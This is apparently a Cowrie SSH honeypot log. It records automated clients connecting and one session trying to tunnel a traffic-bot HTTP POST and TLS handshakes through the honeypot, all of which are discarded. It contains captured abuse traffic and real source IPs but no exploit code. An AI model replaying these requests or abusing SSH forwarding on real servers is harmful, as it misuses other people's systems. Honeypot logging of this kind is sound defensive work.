{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-F916U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TURje0M0cDBFViFEbC9nQg%3D%3DIH2DKrBK8TNzK26A0HHE3uW9eK9cnLO0QNovlfunPOnu71tEElAHeEsPX1VIVbdX8joLL6ALEn1oKN9NOjJ7mP9YVyt1gbvifaYtJWB9a9DyilpvI8H648jLAUH79x8rJMa5p3IwDn1T3P%2FyshPvRyJxJcafgWO5%2FmhnTL5G9zawO3AoFVMTJEiMrySr9ZOEeziaE1YrQC30d6xwmAYuPwQW8vg1HhvSYzyrXuaoKPNMOFAlOJURldecpkLySGbs1rg8vJcl%2Fc3KXyHHzW5ln58WxHQvt35%2Beff9w%2Fg%2FeePxBqzFPH8GbPss%2BrNwIVtYTQBJheZaO9CeHHsmH5aGjLBImvnGrAjI9449AkU%2Biz8Q5HZLZcD5OlaFXMj3j48tGVktb%2F5A1%2BlutXhEuZE8JFnCjm8WyYRyTNXcE1vt6IPxBZkZFHQJiHYmzze1ldTnB30vlzFVb%2FPWbk6jATcfy%2FA%2FyIeXMBn6WtxDlyKeHr6Vqnp5WZvkIBKpIt%2BO992n7RhDXILC81H6LKUCIqTfcvMkMHa5pLZCodgteNj0x4ZxpJuACS7XKrR79CiO4VG4685mT43tzOMwNRaKv19%2B8V7CaAAuyleGSP3q3U%2Bs9YLiasM8S%2BlVZ9OgQYZ%2FtLDS%2BqehbIHCgX6UtY%2FqBmAXd0S7WmkFkNgpDMVE%2Ff6%2Fo%2BBMtIhcPS3PN5PU2ywE0KjDpdS4QZUf0DMsRw8TNC4WI0Zud1cd5iATKVhHiC2FpgBBLhn34RqS4N548Ezko%2BPZ30ZClFFz%2FxUTW%2BAkUn16Dnq59nPi6Gaj%2FeiDZFDvwSxtypiMKsKAvHN1MgrEv79fOppEKE20jgUX%2F8UaBAVhPEusUIpVmjwYJcSNvJmffHM0jK53GAzZbsnvlUtmMSSsLyi%2BRYvjIFaS0XQ29MbllGDTa3BJ99Ga56xWyoVBQvOqiB3JoY02K%2FnMsGbKL9h%2FTenUznbLkTZ0KKkqBAKmLdJEfb1DSFpSw1mCvhFMsAiTFEPiUZ3RcUmWFu8lnxk2dPbOA3nS%2BT8hoAjbjTegnWma%2F%2BCFenLoXinQHC5U5qQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-F916U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TURje0M0cDBFViFEbC9nQg%3D%3DIH2DKrBK8TNzK26A0HHE3uW9eK9cnLO0QNovlfunPOnu71tEElAHeEsPX1VIVbdX8joLL6ALEn1oKN9NOjJ7mP9YVyt1gbvifaYtJWB9a9DyilpvI8H648jLAUH79x8rJMa5p3IwDn1T3P%2FyshPvRyJxJcafgWO5%2FmhnTL5G9zawO3AoFVMTJEiMrySr9ZOEeziaE1YrQC30d6xwmAYuPwQW8vg1HhvSYzyrXuaoKPNMOFAlOJURldecpkLySGbs1rg8vJcl%2Fc3KXyHHzW5ln58WxHQvt35%2Beff9w%2Fg%2FeePxBqzFPH8GbPss%2BrNwIVtYTQBJheZaO9CeHHsmH5aGjLBImvnGrAjI9449AkU%2Biz8Q5HZLZcD5OlaFXMj3j48tGVktb%2F5A1%2BlutXhEuZE8JFnCjm8WyYRyTNXcE1vt6IPxBZkZFHQJiHYmzze1ldTnB30vlzFVb%2FPWbk6jATcfy%2FA%2FyIeXMBn6WtxDlyKeHr6Vqnp5WZvkIBKpIt%2BO992n7RhDXILC81H6LKUCIqTfcvMkMHa5pLZCodgteNj0x4ZxpJuACS7XKrR79CiO4VG4685mT43tzOMwNRaKv19%2B8V7CaAAuyleGSP3q3U%2Bs9YLiasM8S%2BlVZ9OgQYZ%2FtLDS%2BqehbIHCgX6UtY%2FqBmAXd0S7WmkFkNgpDMVE%2Ff6%2Fo%2BBMtIhcPS3PN5PU2ywE0KjDpdS4QZUf0DMsRw8TNC4WI0Zud1cd5iATKVhHiC2FpgBBLhn34RqS4N548Ezko%2BPZ30ZClFFz%2FxUTW%2BAkUn16Dnq59nPi6Gaj%2FeiDZFDvwSxtypiMKsKAvHN1MgrEv79fOppEKE20jgUX%2F8UaBAVhPEusUIpVmjwYJcSNvJmffHM0jK53GAzZbsnvlUtmMSSsLyi%2BRYvjIFaS0XQ29MbllGDTa3BJ99Ga56xWyoVBQvOqiB3JoY02K%2FnMsGbKL9h%2FTenUznbLkTZ0KKkqBAKmLdJEfb1DSFpSw1mCvhFMsAiTFEPiUZ3RcUmWFu8lnxk2dPbOA3nS%2BT8hoAjbjTegnWma%2F%2BCFenLoXinQHC5U5qQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.735500Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.739715Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\'\\xdd\\xbcT\\xfe\\x00\"\\xae\\\\`\\xf5Z\\x94m\\xd2\\xe87\\x80G\\x03&X\\xe3\\xa0\\xc6\\xb6\\x07\\xe0\\xd1\\xde\\xf1 /\\xd0\\x94\\xfc\\x85V\\xe0K\\xf2d\\xe6$O\\xa3Yx\\xae]\\xe7\\xd2`\\x8e_\\xcf\\xe7g\\x10I\\xf2\\xfb\\x07\\xd1\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 a\\x8c\\xd3\\x7f\\xd0\\xb2\\xcf\\xc6\\xdc\\x8b\\xd4\\xa4\\x9b\\x82\\x88k(]\\xda\\x96d\\xbfp[\\xdc?\\x04U\\xa0w\\x93j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\'\\xdd\\xbcT\\xfe\\x00\"\\xae\\\\`\\xf5Z\\x94m\\xd2\\xe87\\x80G\\x03&X\\xe3\\xa0\\xc6\\xb6\\x07\\xe0\\xd1\\xde\\xf1 /\\xd0\\x94\\xfc\\x85V\\xe0K\\xf2d\\xe6$O\\xa3Yx\\xae]\\xe7\\xd2`\\x8e_\\xcf\\xe7g\\x10I\\xf2\\xfb\\x07\\xd1\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 a\\x8c\\xd3\\x7f\\xd0\\xb2\\xcf\\xc6\\xdc\\x8b\\xd4\\xa4\\x9b\\x82\\x88k(]\\xda\\x96d\\xbfp[\\xdc?\\x04U\\xa0w\\x93j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.742059Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.978485Z","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:33.209549Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xfe\\x0b\\x17\\xc6\\x05@\\x9fu\\x9d\\xe0\\xf74X\\x1aK(c\\x14\\xa5u=M`{\\x1f\\xd1\\xe8\\xc6\\x86\\xfb| \\xfdQp\\x8bq\\x05\\xe3\\xb5T\\x9b\\x13\\xf3\\xde\\xe6\\x9a\\xbc\\xcc\\xca\\x99\\xa8\\x80\\xacSd\\x19\\xc8*R_\\xbdiK\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 d\\xfd\\x8f<z(\\xab\\x89\\xe0\\xfc5s\\xc1\\xd5\\xdcf\\x87\\xfd&F\\x81n+\\xb4\\xdc4\\x04\\xdf\\x96\\xb2\\x88$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xfe\\x0b\\x17\\xc6\\x05@\\x9fu\\x9d\\xe0\\xf74X\\x1aK(c\\x14\\xa5u=M`{\\x1f\\xd1\\xe8\\xc6\\x86\\xfb| \\xfdQp\\x8bq\\x05\\xe3\\xb5T\\x9b\\x13\\xf3\\xde\\xe6\\x9a\\xbc\\xcc\\xca\\x99\\xa8\\x80\\xacSd\\x19\\xc8*R_\\xbdiK\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 d\\xfd\\x8f<z(\\xab\\x89\\xe0\\xfc5s\\xc1\\xd5\\xdcf\\x87\\xfd&F\\x81n+\\xb4\\xdc4\\x04\\xdf\\x96\\xb2\\x88$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:33.215482Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:33.550805Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:34.383912Z","src_ip":"91.92.40.36","session":"f61edbddce22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19118,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e286542233","protocol":"ssh","message":"New connection: 91.92.40.36:19118 (159.203.135.109:22) [session: 10e286542233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:36.783063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:37.436858Z","src_ip":"91.92.40.36","session":"10e286542233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:37.440470Z","src_ip":"91.92.40.36","session":"10e286542233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.409788370132446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:38.089584Z","src_ip":"172.81.62.90","session":"b1a61e841e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":57776,"dst_ip":"10.17.0.5","dst_port":22,"session":"85404856a936","protocol":"ssh","message":"New connection: 103.27.238.116:57776 (10.17.0.5:22) [session: 85404856a936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:39.017467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:39.021670Z","src_ip":"103.27.238.116","session":"85404856a936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:39.282400Z","src_ip":"103.27.238.116","session":"85404856a936","protocol":"ssh"}
